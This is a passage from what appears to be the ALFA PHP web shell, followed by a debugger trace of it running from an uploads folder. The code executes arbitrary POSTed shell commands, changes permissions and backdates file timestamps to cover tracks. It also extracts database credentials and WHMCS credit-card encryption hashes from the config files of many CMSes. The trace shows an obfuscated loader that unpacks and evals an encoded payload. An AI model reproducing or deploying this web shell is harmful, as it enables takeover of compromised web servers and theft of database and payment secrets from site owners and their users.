@fopen($cookie_file, 'w') or die($this->error('The cookie file could not be opened.'));
$this->cookie_file = $cookie_file;
@fclose($this->cookie_file);
}
}
function Send($url, $method = "get", $data = "")
{
if (!$this->curl_status) {
return false;
}
$process = curl_init($url);
curl_setopt($process, CURLOPT_HTTPHEADER, $this->headers);
curl_setopt($process, CURLOPT_HEADER, 0);
curl_setopt($process, CURLOPT_USERAGENT, $this->user_agent);
curl_setopt($process, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($process, CURLOPT_ENCODING, $this->compression);
curl_setopt($process, CURLOPT_TIMEOUT, 30);
if ($this->ssl) {
curl_setopt($process, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($process, CURLOPT_SSL_VERIFYHOST, false);
}
if ($this->cookies) {
curl_setopt($process, CURLOPT_COOKIEFILE, $this->path);
curl_setopt($process, CURLOPT_COOKIEJAR, $this->path);
}
if ($this->proxy) {
curl_setopt($process, CURLOPT_PROXY, $this->proxy);
}
if ($method == 'post') {
curl_setopt($process, CURLOPT_POSTFIELDS, $data);
curl_setopt($process, CURLOPT_POST, 1);
curl_setopt($process, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));
}
$return = @curl_exec($process);
curl_close($process);
return $return;
}
function error($error)
{
echo "<center><div style='width:500px;border: 3px solid #FFEEFF; padding: 3px; background-color: #FFDDFF;font-family: verdana; font-size: 10px'><b>cURL Error</b><br>{$error}</div></center>";
die;
}
}
function getConfigHtml($cms)
{
$content = '';
$cms_array = array("wp" => "WordPress", "vb" => "vBulletin", "whmcs" => "Whmcs", "joomla" => "Joomla", "phpnuke" => "PHPNuke", "phpbb" => "PHPBB", "mybb" => "MyBB", "drupal" => "Drupal", "smf" => "SMF");
$content = "<form class='getconfig' onSubmit='g(\"GetConfig\",null,this.cms.value,this.path.value,this.getAttribute(\"base_id\"));return false;'><div class='txtfont'>Cms: </div> <select name='cms'style='width:100px;'>";
foreach ($cms_array as $key => $val) {
$content .= "<option value='{$key}' " . ($key == $cms ? 'selected=selected' : '') . ">{$val}</option>";
}
$content .= "</select> <div class='txtfont'>Path(installed cms/Config): </div> <input type='text' name='path' value='" . $_SERVER['DOCUMENT_ROOT'] . "/' size='30' /> <button class='button'>GetConfig</button>";
$content .= "</form>";
return $content;
}
if (!function_exists('json_encode')) {
function json_encode($a = false)
{
if (is_null($a)) {
return "null";
}
if ($a === false) {
return "false";
}
if ($a === true) {
return "true";
}
if (is_scalar($a)) {
if (is_float($a)) {
return floatval(str_replace(",", ".", strval($a)));
}
if (is_string($a)) {
static $jsonReplaces = array(array("\\", "/", "\n", "\t", "\r", "\\b", "\f", '"'), array('\\\\', '\\/', '\\n', '\\t', '\\r', '\\b', '\\f', '\\"'));
return '"' . str_replace($jsonReplaces[0], $jsonReplaces[1], $a) . '"';
} else {
return $a;
}
}
$isList = true;
for ($i = 0, reset($a); $i < count($a); $i++, next($a)) {
if (key($a) !== $i) {
$isList = false;
break;
}
}
$result = array();
if ($isList) {
foreach ($a as $v) {
$result[] = json_encode($v);
}
return '[' . join(',', $result) . ']';
} else {
foreach ($a as $k => $v) {
$result[] = json_encode($k) . ':' . json_encode($v);
}
return '{' . join(',', $result) . '}';
}
}
}
if (!function_exists('json_decode')) {
function json_decode($json, $array = true)
{
$comment = false;
$out = '$x=';
for ($i = 0; $i < strlen($json); $i++) {
if (!$comment) {
if ($json[$i] == '{' || $json[$i] == '[') {
$out .= ' array(';
} else {
if ($json[$i] == '}' || $json[$i] == ']') {
$out .= ')';
} else {
if ($json[$i] == ':') {
$out .= '=>';
} else {
$out .= $json[$i];
}
}
}
} else {
$out .= $json[$i];
}
if ($json[$i] == '"') {
$comment = !$comment;
}
}
eval($out . ';');
return $x;
}
}
function alfaterminalExec()
{
$pwd = "pwd";
$seperator = ";";
if ($GLOBALS['sys'] != 'unix') {
$pwd = "cd";
$seperator = "&";
}
if ($GLOBALS["glob_chdir_false"] && !empty($_POST["c"])) {
$cmd = "cd '" . addslashes($_POST["c"]) . "'" . $seperator;
}
$current_path = '';
if (preg_match("/cd[ ]{0,}(.*)[ ]{0,}" . $seperator . "|cd[ ]{0,}(.*)[ ]{0,}/i", $_POST['alfa1'], $match)) {
if (empty($match[1])) {
$match[1] = $match[2];
}
$current_path = alfaEx("cd " . addslashes($match[1]) . $seperator . $pwd);
$current_path = str_replace("\\", "/", $current_path);
}
$out = alfaEx($cmd . $_POST['alfa1'], true);
$out = htmlspecialchars($out);
echo json_encode(array("output" => convertBash($out), "path" => $current_path));
}
function convertBash($code)
{
$dictionary = array('[01;30m' => '<span style="color:black">', '[01;31m' => '<span style="color:red">', '[01;32m' => '<span style="color:green">', '[01;33m' => '<span style="color:yellow">', '[01;34m' => '<span style="color:blue">', '[01;35m' => '<span style="color:purple">', '[01;36m' => '<span style="color:cyan">', '[01;37m' => '<span style="color:white">', '[0m' => '</span>');
$htmlString = str_replace(array_keys($dictionary), $dictionary, $code);
return $htmlString;
}
function alfadoActions()
{
$chdir_fals = false;
if (!@chdir($_POST['c'])) {
$chdir_fals = true;
$alfa_canruncmd = _alfa_can_runCommand(true, true);
}
if (isset($_POST['alfa1'])) {
$_POST['alfa1'] = rawurldecode($_POST['alfa1']);
}
if (isset($_POST['alfa2'])) {
$_POST['alfa2'] = rawurldecode($_POST['alfa2']);
}
$action = $_POST["alfa3"];
if ($action == "permission") {
$perms = 0;
$perm = $_POST["alfa2"];
for ($i = strlen($perm) - 1; $i >= 0; --$i) {
$perms += (int) $perm[$i] * pow(8, strlen($perm) - $i - 1);
}
if (@chmod($_POST['alfa1'], $perms)) {
echo "done";
} else {
echo "no";
}
return;
}
if ($action == "rename" || $action == "move") {
$alfa1_decoded = $_POST['alfa1'];
if ($chdir_fals) {
$_POST['alfa1'] = $_POST["c"] . "/" . $_POST["alfa1"];
}
$_POST['alfa1'] = trim($_POST['alfa1']);
$alfa1_escape = addslashes($_POST["alfa1"]);
if ($_POST["alfa3"] == "rename") {
$_POST['alfa2'] = basename($_POST['alfa2']);
}
if (!empty($_POST['alfa2'])) {
$cmd_rename = false;
if ($chdir_fals && $alfa_canruncmd) {
if (_alfa_is_writable($_POST['alfa1'])) {
$cmd_rename = true;
$alfa1_escape = addslashes($alfa1_decoded);
alfaEx("cd '" . addslashes($_POST['c']) . "';mv '" . $alfa1_escape . "' '" . addslashes($_POST['alfa2']) . "'");
}
}
if (!file_exists($_POST['alfa2'])) {
if (@rename($_POST['alfa1'], $_POST['alfa2']) || $cmd_rename) {
echo "done";
} else {
echo "no";
}
} else {
echo "no";
}
}
} elseif ($action == "copy") {
if (is_dir($_POST["alfa1"])) {
$dir = str_replace('//', '/', $_POST["alfa1"]);
$dir = explode('/', $dir);
if (empty($dir[count($dir) - 1])) {
$name = $dir[count($dir) - 2];
} else {
$name = $dir[count($dir) - 1];
}
} else {
$name = basename($_POST["alfa1"]);
}
$dir = dirname($_POST["alfa1"]);
if ($dir == ".") {
$dir = $_POST["c"] . "/";
}
if (is_file($_POST["alfa1"])) {
@copy($_POST["alfa1"], $_POST["alfa2"]);
echo "done";
} elseif (is_dir($_POST["alfa1"])) {
if (!is_dir($_POST["alfa2"])) {
mkdir($_POST["alfa2"], 0755, true);
}
copy_paste($dir, $name, $_POST["alfa2"] . "/");
echo "done";
}
} elseif ($action == "modify") {
if (!empty($_POST['alfa1'])) {
$time = strtotime($_POST['alfa1']);
if ($time) {
$touched = false;
if ($chdir_fals && $alfa_canruncmd) {
alfaEx("cd '" . addslashes($_POST["c"]) . "';touch -d '" . htmlspecialchars(addslashes($_POST['alfa1'])) . "' '" . addslashes($_POST['alfa2']) . "'");
$touched = true;
}
if (!@touch($_POST['alfa2'], $time, $time) && !$touched) {
echo "no";
} else {
echo "ok";
}
} else {
echo "badtime";
}
}
}
}
function alfaget_flags()
{
$flags = array();
if (function_exists("curl_version")) {
$curl = new AlfaCURL();
$server_addr = !@$_SERVER["SERVER_ADDR"] ? function_exists("gethostbyname") ? @gethostbyname($_SERVER['SERVER_NAME']) : '????' : @$_SERVER["SERVER_ADDR"];
$flag = $curl->Send("http://www.geoplugin.net/json.gp?ip=" . $server_addr);
$flag2 = $curl->Send("http://www.geoplugin.net/json.gp?ip=" . $_SERVER["REMOTE_ADDR"]);
if (strpos($flag2, "geoplugin") != false) {
$flag = json_decode($flag, true);
$flag2 = json_decode($flag2, true);
if (!empty($flag['geoplugin_countryCode'])) {
$flags["server"]["name"] = $flag['geoplugin_countryName'];
$flags["server"]["code"] = $flag['geoplugin_countryCode'];
}
if (!empty($flag2['geoplugin_countryCode'])) {
$flags["client"]["name"] = $flag2['geoplugin_countryName'];
$flags["client"]["code"] = $flag2['geoplugin_countryCode'];
}
}
}
echo json_encode($flags);
}
function alfaGetConfig()
{
$cms = $_POST['alfa1'];
$path = trim($_POST['alfa2']);
$config = array('wp' => array('file' => '/wp-config.php', 'host' => array("/define[ ]{0,}\\([ ]{0,}(?:'|\")DB_HOST(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\\)[ ]{0,};/", 1), 'dbname' => array("/define[ ]{0,}\\([ ]{0,}(?:'|\")DB_NAME(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\\)[ ]{0,};/", 1), 'dbuser' => array("/define[ ]{0,}\\([ ]{0,}(?:'|\")DB_USER(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\\)[ ]{0,};/", 1), 'dbpw' => array("/define[ ]{0,}\\([ ]{0,}(?:'|\")DB_PASSWORD(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\\)[ ]{0,};/", 1), 'prefix' => array("/table_prefix[ ]{0,}=[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,};/", 1)), 'drupal' => array('file' => '/config.php', 'host' => array("/define[ ]{0,}\\([ ]{0,}(?:'|\")DB_HOSTNAME(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\\)[ ]{0,};/", 1), 'dbname' => array("/define[ ]{0,}\\([ ]{0,}(?:'|\")DB_DATABASE(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\\)[ ]{0,};/", 1), 'dbuser' => array("/define[ ]{0,}\\([ ]{0,}(?:'|\")DB_USERNAME(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\\)[ ]{0,};/", 1), 'dbpw' => array("/define[ ]{0,}\\([ ]{0,}(?:'|\")DB_PASSWORD(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\\)[ ]{0,};/", 1), 'prefix' => array("/define[ ]{0,}\\([ ]{0,}(?:'|\")DB_PREFIX(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\\)[ ]{0,};/", 1)), 'drupal2' => array('file' => '/sites/default/settings.php', 'host' => array("/(?:'|\")host(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/", 1), 'dbname' => array("/(?:'|\")database(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/", 1), 'dbuser' => array("/(?:'|\")username(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/", 1), 'dbpw' => array("/(?:'|\")password(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/", 1), 'prefix' => array("/(?:'|\")prefix(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/", 1)), 'vb' => array('file' => '/includes/config.php', 'host' => array("/config\\[(?:'|\")MasterServer(?:'|\")\\]\\[(?:'|\")servername(?:'|\")\\](\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/", 3), 'dbuser' => array("/config\\[(?:'|\")MasterServer(?:'|\")\\]\\[(?:'|\")username(?:'|\")\\](\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/", 3), 'dbname' => array("/config\\[(?:'|\")Database(?:'|\")\\]\\[(?:'|\")dbname(?:'|\")\\](\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/", 3), 'dbpw' => array("/config\\[(?:'|\")MasterServer(?:'|\")\\]\\[(?:'|\")password(?:'|\")\\](\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/", 3), 'prefix' => array("/config\\[(?:'|\")Database(?:'|\")\\]\\[(?:'|\")tableprefix(?:'|\")\\](\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/", 3)), 'phpnuke' => array('file' => '/config.php', 'host' => array('/dbhost(\\s+)=(\\s+)(?:\'|")(.*?)(?:\'|");/', 3), 'dbname' => array('/dbname(\\s+)=(\\s+)(?:\'|")(.*?)(?:\'|");/', 3), 'dbuser' => array('/dbuname(\\s+)=(\\s+)(?:\'|")(.*?)(?:\'|");/', 3), 'dbpw' => array('/dbpass(\\s+)=(\\s+)(?:\'|")(.*?)(?:\'|");/', 3), 'prefix' => array('/prefix(\\s+)=(\\s+)(?:\'|")(.*?)(?:\'|");/', 3)), 'smf' => array('file' => '/Settings.php', 'host' => array("/db_server(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'dbname' => array("/db_name(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'dbuser' => array("/db_user(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'dbpw' => array("/db_passwd(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'prefix' => array("/db_prefix(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3)), 'whmcs' => array('file' => '/configuration.php', 'host' => array("/db_host(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'dbname' => array("/db_name(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'dbuser' => array("/db_username(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'dbpw' => array("/db_password(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'cc_encryption_hash' => array("/cc_encryption_hash(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3)), 'joomla' => array('file' => '/configuration.php', 'host' => array("/\\\$host(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'dbname' => array("/\\\$db(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'dbuser' => array("/\\\$user(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'dbpw' => array("/\\\$password(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'prefix' => array("/\\\$dbprefix(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3)), 'phpbb' => array('file' => '/config.php', 'host' => array("/dbhost(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'dbname' => array("/dbname(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'dbuser' => array("/dbuser(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'dbpw' => array("/dbpasswd(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'prefix' => array("/table_prefix(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3)), 'mybb' => array('file' => '/inc/config.php', 'host' => array("/config\\['database'\\]\\['hostname'\\](\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'dbname' => array("/config\\['database'\\]\\['database'\\](\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'dbuser' => array("/config\\['database'\\]\\['username'\\](\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'dbpw' => array("/config\\['database'\\]\\['password'\\](\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'prefix' => array("/config\\['database'\\]\\['table_prefix'\\](\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3)));
if ($cms == "drupal") {
$file = $config[$cms]['file'];
$file = $path . $file;
if (@is_file($file) || _alfa_is_dir($file, "-e")) {
} else {
$cms = 'drupal2';
}
}
if ($cms == "vb") {
$file = $config[$cms]['file'];
$file = $path . $file;
if (@is_file($file) || _alfa_is_dir($file, "-e")) {
} else {
$path .= '/core';
}
}
$data = array();
$srch_host = $config[$cms]['host'][0];
$srch_user = $config[$cms]['dbuser'][0];
$srch_name = $config[$cms]['dbname'][0];
$srch_pw = $config[$cms]['dbpw'][0];
$prefix = $config[$cms]['prefix'][0];
$file = $config[$cms]['file'];
$chost = $config[$cms]['host'][1];
$cuser = $config[$cms]['dbuser'][1];
$cname = $config[$cms]['dbname'][1];
$cpw = $config[$cms]['dbpw'][1];
$cprefix = $config[$cms]['prefix'][1];
if (@is_dir($path) || _alfa_is_dir($path)) {
$file = $path . $file;
} elseif (@is_file($path) || _alfa_is_dir($path, "-e")) {
$file = $path;
} else {
return false;
}
$file = __read_file($file);
if ($cms == "drupal2") {
$file = preg_replace("/\\@code(.*?)\\@endcode/s", "", $file);
} elseif ($cms == "vb") {
$file = preg_replace("/right of the(.*?)BAD!/s", "", $file);
}
if (preg_match($srch_host, $file, $mach)) {
$data['host'] = $mach[$chost];
}
if (preg_match($srch_user, $file, $mach)) {
$data['user'] = $mach[$cuser];
}
if (preg_match($srch_name, $file, $mach)) {
$data['dbname'] = $mach[$cname];
}
if (preg_match($srch_pw, $file, $mach)) {
$data['password'] = $mach[$cpw];
}
if (isset($prefix)) {
if (preg_match($prefix, $file, $mach)) {
$data['prefix'] = $mach[$cprefix];
}
}
if ($cms == 'whmcs') {
if (preg_match($config[$cms]['cc_encryption_hash'][0], $file, $mach)) {
$data['cc_encryption_hash'] = $mach[3];
}
}
echo json_encode($data);
}
if (empty($_POST['a'])) {
if (isset($default_action) && function_exists('alfa' . $default_action)) {
$_POST['a'] = $default_action;
} else {
$_POST['a'] = 'FilesMan2';
}
}
//'FilesMan';
if (!empty($_POST['a']) && function_exists('alfa' . $_POST['a'])) {
call_user_func('alfa' . $_POST['a']);
}
exit;
};
exit;
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 00:38:39.651170]
1 0 1 0.000166 393512
1 3 0 0.001425 570552 {main} 1 /var/www/html/uploads/alfa.php 0 0
1 A /var/www/html/uploads/alfa.php 12 $Cyber = 'ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNENyaW1lJTI5JTI5JTI5JTI5JTI5JTI5JTI5JTI5JTNC'
1 A /var/www/html/uploads/alfa.php 13 $Crime = '2FN249owzZyA/pf1q7vvW75rrLeNHItfHHe/ryQ6igPpsSf61EXrncMUxZ8nPMp0d4RwoRS0dKozN8lXMMzumH/9PeV96vXV/91x4Kc6M8hkDkcu0E1ND1SuElZhTC0W2MJTx/S6rWlaCnx25dQuRAFul9dggCAHMx+lFGZABSKOfPRuBgy8kwE5EYZzzCI5XubM7DsAym5kqEt6KdvsKhhXCimC4TUOscV4/UwRRKv4UH/KyupN4aUHJVyPbkHzDGVmKDAAOhyjqYOeZzcTDu248xWFet5H6g/3DADm81yG1YjPbdWDBiJT2YxYeajPRdWDPKpdpIOO9qdXstjmRGfKVrYnZSBCjVz6eoN9LFE5+xN3/hrSUw4MjSgBdSw6KkVsmPcXW5d/2hJVLVF+79QE8CXAHJqONIulXk1EEKj79ZnXs6pwtQ+2Tb6dPdcK4eCmqFCZJjZcyl5MLtWqioWQ0P77YhdE98iLIvqXTXNOam9aMHET0YGoORj5gCFN'
2 4 0 0.001696 570552 base64_decode 0 /var/www/html/uploads/alfa.php 14 1 'ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNENyaW1lJTI5JTI5JTI5JTI5JTI5JTI5JTI5JTI5JTNC'
2 4 1 0.001726 570840
2 4 R 'eval%28%26quot%3B%3F%26gt%3B%26quot%3B.gzuncompress%28gzuncompress%28gzinflate%28gzinflate%28gzinflate%28base64_decode%28strrev%28%24Crime%29%29%29%29%29%29%29%29%3B'
2 5 0 0.001754 570808 urldecode 0 /var/www/html/uploads/alfa.php 14 1 'eval%28%26quot%3B%3F%26gt%3B%26quot%3B.gzuncompress%28gzuncompress%28gzinflate%28gzinflate%28gzinflate%28base64_decode%28strrev%28%24Crime%29%29%29%29%29%29%29%29%3B'
2 5 1 0.001780 571032
2 5 R 'eval("?>".gzuncompress(gzuncompress(gzinflate(gzinflate(gzinflate(base64_decode(strrev($Crime))))))));'
2 6 0 0.001805 570744 htmlspecialchars_decode 0 /var/www/html/uploads/alfa.php 14 1 'eval("?>".gzuncompress(gzuncompress(gzinflate(gzinflate(gzinflate(base64_decode(strrev($Crime))))))));'
2 6 1 0.001830 570968
2 6 R 'eval("?>".gzuncompress(gzuncompress(gzinflate(gzinflate(gzinflate(base64_decode(strrev($Crime))))))));'
2 7 0 0.001871 573088 eval 1 'eval("?>".gzuncompress(gzuncompress(gzinflate(gzinflate(gzinflate(base64_decode(strrev($Crime))))))));' /var/www/html/uploads/alfa.php 14 0
3 8 0 0.001894 573088 strrev 0 /var/www/html/uploads/alfa.php(14) : eval()'d code 1 1 '2FN249owzZyA/pf1q7vvW75rrLeNHItfHHe/ryQ6igPpsSf61EXrncMUxZ8nPMp0d4RwoRS0dKozN8lXMMzumH/9PeV96vXV/91x4Kc6M8hkDkcu0E1ND1SuElZhTC0W2MJTx/S6rWlaCnx25dQuRAFul9dggCAHMx+lFGZABSKOfPRuBgy8kwE5EYZzzCI5XubM7DsAym5kqEt6KdvsKhhXCimC4TUOscV4/UwRRKv4UH/KyupN4aUHJVyPbkHzDGVmKDAAOhyjqYOeZzcTDu248xWFet5H6g/3DADm81yG1YjPbdWDBiJT2YxYeajPRdWDPKpdpIOO9qdXstjmRGfKVrYnZSBCjVz6eoN9LFE5+xN3/hrSUw4MjSgBdSw6KkVsmPcXW5d/2hJVLVF+79QE8CXAHJqONIulXk1EEKj79ZnXs6pwtQ+2Tb6dPdcK4eCmqFCZJjZcyl5MLtWqioWQ0P77YhdE98iLIvqXTXNOam9aMHET0YGoORj5gCFN'
3 8 1 0.002201 749248
3 8 R 'AA2A8n8ACoD1fwAKgPV/eJwACED3v3ic7H1pd+I4s/DnnnPmP7jdmQaesK8hNMkkhGydPWTt7ssxtgEnxqZtE0Iy3N/+VkmyLRtDSM/MebfbSwJSqVQqlUqlUkn6sjnsD3//LfOf33/7sDVy+qa1Lny4NHX1SbO1jq5mtvSulGqp0gAAWqqu9ixpACB9xxna65mMw5LSAzVj+8UA+M4ctUYdlYOdmCMHUtKyOQjB7g0kTV//8IFL/bOHaQgL+TuSo0L2sWko0iQpXKpDRx10VEvIFZNCPpvP/v7bfzK//7ayd3S6vXV0+S1m3vdOJkPz7OIq9kOoC5JlSZP4778J8Cc2slXLkAZqTKhvCDEJ2hdLsqyhZNtj01JYVrlbLOVVuZCvFpRKt1PJy6VOuVLJlyqdfFaVY8lMZqCU4mrflowEQ2FLXbU9MBWGPuvh1s2eZrSHUo/lFLMFL8/um+O2JpuGTfNyPkWm7bRVQ7YmQ0czDZLdlXRbdQHkntaWhhrJ'
3 9 0 0.002412 749216 base64_decode 0 /var/www/html/uploads/alfa.php(14) : eval()'d code 1 1 'AA2A8n8ACoD1fwAKgPV/eJwACED3v3ic7H1pd+I4s/DnnnPmP7jdmQaesK8hNMkkhGydPWTt7ssxtgEnxqZtE0Iy3N/+VkmyLRtDSM/MebfbSwJSqVQqlUqlUkn6sjnsD3//LfOf33/7sDVy+qa1Lny4NHX1SbO1jq5mtvSulGqp0gAAWqqu9ixpACB9xxna65mMw5LSAzVj+8UA+M4ctUYdlYOdmCMHUtKyOQjB7g0kTV//8IFL/bOHaQgL+TuSo0L2sWko0iQpXKpDRx10VEvIFZNCPpvP/v7bfzK//7ayd3S6vXV0+S1m3vdOJkPz7OIq9kOoC5JlSZP4778J8Cc2slXLkAZqTKhvCDEJ2hdLsqyhZNtj01JYVrlbLOVVuZCvFpRKt1PJy6VOuVLJlyqdfFaVY8lMZqCU4mrflowEQ2FLXbU9MBWGPuvh1s2eZrSHUo/lFLMFL8/um+O2JpuGTfNyPkWm7bRVQ7YmQ0czDZLdlXRbdQHkntaWhhrJ'
3 9 1 0.003236 925376
3 9 R '\000\r��\000\n��\000\n��x�\000\b@��x��}iw�8���s�?�ݙ\006���!4�$�l�=d���1�\001\'Ʀm\023B2��VI�-\033CH��y��K\002R�T*�J�RI��9�\017�-����5r���.|�4u�I����f��j��\000\000Z���,i\000 }�\031�뙌Ò�\0035c��\000��\034�F\035����#\aRҲ9\b��\r$M_��K���i\b\v�;��B��i(�$)\\�CG\035tTK�\025�B>����2����wt��ut�-f�N&C���*�C�\v�eI���\t�\'6�Uː\006jL�o\b1\t�\027K���d�c�RXV�[,�U���\026�J�S�˥N�Rɗ*�|V�c�Lf���jߖ�\004CaK]�=0\025�>���͞f��R��\024�\005/���&��M�r>E��UC�&CG3\r�ݕt[u\001�֖�\032�p�\021�\'j��\006�h�\f�W;'
3 10 0 0.005842 749216 gzinflate 0 /var/www/html/uploads/alfa.php(14) : eval()'d code 1 1 '\000\r��\000\n��\000\n��x�\000\b@��x��}iw�8���s�?�ݙ\006���!4�$�l�=d���1�\001\'Ʀm\023B2��VI�-\033CH��y��K\002R�T*�J�RI��9�\017�-����5r���.|�4u�I����f��j��\000\000Z���,i\000 }�\031�뙌Ò�\0035c��\000��\034�F\035����#\aRҲ9\b��\r$M_��K���i\b\v�;��B��i(�$)\\�CG\035tTK�\025�B>����2����wt��ut�-f�N&C���*�C�\v�eI���\t�\'6�Uː\006jL�o\b1\t�\027K���d�c�RXV�[,�U���\026�J�S�˥N�Rɗ*�|V�c�Lf���jߖ�\004CaK]�=0\025�>���͞f��R��\024�\005/���&��M�r>E��UC�&CG3\r�ݕt[u\001�֖�\032�p�\021�\'j��\006�h�\f�W;'
3 10 1 0.008289 880320
3 10 R '\000\n��\000\n��x�\000\b@��x��}iw�8���s�?�ݙ\006���!4�$�l�=d���1�\001\'Ʀm\023B2��VI�-\033CH��y��K\002R�T*�J�RI��9�\017�-����5r���.|�4u�I����f��j��\000\000Z���,i\000 }�\031�뙌Ò�\0035c��\000��\034�F\035����#\aRҲ9\b��\r$M_��K���i\b\v�;��B��i(�$)\\�CG\035tTK�\025�B>����2����wt��ut�-f�N&C���*�C�\v�eI���\t�\'6�Uː\006jL�o\b1\t�\027K���d�c�RXV�[,�U���\026�J�S�˥N�Rɗ*�|V�c�Lf���jߖ�\004CaK]�=0\025�>���͞f��R��\024�\005/���&��M�r>E��UC�&CG3\r�ݕt[u\001�֖�\032�p�\021�\'j��\006�h�\f�W;�ϣ.p �\0'
3 11 0 0.010698 704160 gzinflate 0 /var/www/html/uploads/alfa.php(14) : eval()'d code 1 1 '\000\n��\000\n��x�\000\b@��x��}iw�8���s�?�ݙ\006���!4�$�l�=d���1�\001\'Ʀm\023B2��VI�-\033CH��y��K\002R�T*�J�RI��9�\017�-����5r���.|�4u�I����f��j��\000\000Z���,i\000 }�\031�뙌Ò�\0035c��\000��\034�F\035����#\aRҲ9\b��\r$M_��K���i\b\v�;��B��i(�$)\\�CG\035tTK�\025�B>����2����wt��ut�-f�N&C���*�C�\v�eI���\t�\'6�Uː\006jL�o\b1\t�\027K���d�c�RXV�[,�U���\026�J�S�˥N�Rɗ*�|V�c�Lf���jߖ�\004CaK]�=0\025�>���͞f��R��\024�\005/���&��M�r>E��UC�&CG3\r�ݕt[u\001�֖�\032�p�\021�\'j��\006�h�\f�W;�ϣ.p �\0'
3 11 1 0.013115 835264
3 11 R '\000\n��x�\000\b@��x��}iw�8���s�?�ݙ\006���!4�$�l�=d���1�\001\'Ʀm\023B2��VI�-\033CH��y��K\002R�T*�J�RI��9�\017�-����5r���.|�4u�I����f��j��\000\000Z���,i\000 }�\031�뙌Ò�\0035c��\000��\034�F\035����#\aRҲ9\b��\r$M_��K���i\b\v�;��B��i(�$)\\�CG\035tTK�\025�B>����2����wt��ut�-f�N&C���*�C�\v�eI���\t�\'6�Uː\006jL�o\b1\t�\027K���d�c�RXV�[,�U���\026�J�S�˥N�Rɗ*�|V�c�Lf���jߖ�\004CaK]�=0\025�>���͞f��R��\024�\005/���&��M�r>E��UC�&CG3\r�ݕt[u\001�֖�\032�p�\021�\'j��\006�h�\f�W;�ϣ.p �\035ń�\020'
